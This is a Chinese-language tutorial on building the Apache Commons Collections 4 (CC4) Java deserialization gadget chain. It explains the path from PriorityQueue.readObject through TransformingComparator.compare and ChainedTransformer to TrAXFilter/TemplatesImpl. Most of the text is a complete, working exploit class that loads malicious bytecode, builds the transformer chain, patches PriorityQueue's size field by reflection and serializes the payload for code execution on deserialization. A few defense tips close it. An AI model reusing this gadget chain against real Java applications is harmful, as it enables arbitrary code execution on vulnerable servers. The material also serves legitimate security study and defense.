java安全:从发现者角度解析CC4链构造过程
字数 1199 2025-08-29 22:41:38
Apache Commons Collections 4 (CC4) 反序列化漏洞利用链分析
概述
本文详细解析Apache Commons Collections 4 (CC4)反序列化漏洞利用链的构造过程,从发现者的角度分析其工作原理和实现细节。
利用链核心组件
- ChainedTransformer - 允许将多个Transformer串联执行
- TransformingComparator - 比较器,内部调用transform方法
- PriorityQueue - Java优先队列类,在反序列化时会调用比较器
利用链构造过程
1. 寻找transform方法调用点
首先从ChainedTransformer入手,寻找CC4包中哪些类调用了transform方法:
- 发现
TransformingComparator类 - 其
compare方法内部调用了transform方法
2. 寻找compare方法调用点
接下来寻找哪些类的readObject方法调用了compare方法:
- 找到
PriorityQueue优先队列类 - 反序列化过程调用链:
readObjectheapifysiftDownsiftDownUsingComparator(调用compare方法)
3. 与CC3链的区别
CC4链与CC3链的主要区别:
- 前面的链从
LazyMap变为PriorityQueue - 触发点从
AnnotationInvocationHandler变为TransformingComparator
完整利用代码分析
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4Test {
public static void main(String[] args) throws Exception {
// 1. 创建TemplatesImpl恶意对象
final TemplatesImpl templates = new TemplatesImpl();
final Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// 设置_name字段
final Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"yuji");
// 设置_class字段为null
final Field classDeclaredField = templatesClass.getDeclaredField("_class");
classDeclaredField.setAccessible(true);
classDeclaredField.set(templates,null);
// 加载恶意字节码
byte[] bytecode = Files.readAllBytes(Paths.get("E:\\java_sec\\tmp\\evil.class"));
byte[][] bytecodes = {bytecode};
final Field bytecodesfield = templatesClass.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
bytecodesfield.set(templates,bytecodes);
// 设置_tfactory字段
final Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// 2. 构造Transformer链
final InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates});
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
});
// 3. 创建TransformingComparator并设置Transformer
final TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// 4. 创建PriorityQueue并设置比较器
final PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// 5. 通过反射修改size绕过检查
final Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
final Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,5);
// 序列化和反序列化测试
serialize(priorityQueue);
Deserialize("cc4.ser");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(obj);
}
public static Object Deserialize(String filename) throws Exception {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
关键点说明
-
TemplatesImpl利用:
- 通过反射设置
_name、_bytecodes等字段 - 加载恶意字节码实现代码执行
- 通过反射设置
-
Transformer链构造:
ConstantTransformer返回TrAXFilter.classInstantiateTransformer实例化TrAXFilter并传入恶意TemplatesImpl
-
PriorityQueue利用:
- 使用
TransformingComparator作为比较器 - 反序列化时会触发比较操作,进而执行transform链
- 使用
-
size字段绕过:
- 需要通过反射修改
size字段值 - 绕过
PriorityQueue的某些内部检查
- 需要通过反射修改
防御建议
- 升级到最新版本的Apache Commons Collections
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
总结
CC4利用链通过PriorityQueue的反序列化过程触发TransformingComparator的比较操作,进而执行精心构造的Transformer链,最终实现任意代码执行。理解这一利用链有助于更好地防御Java反序列化漏洞。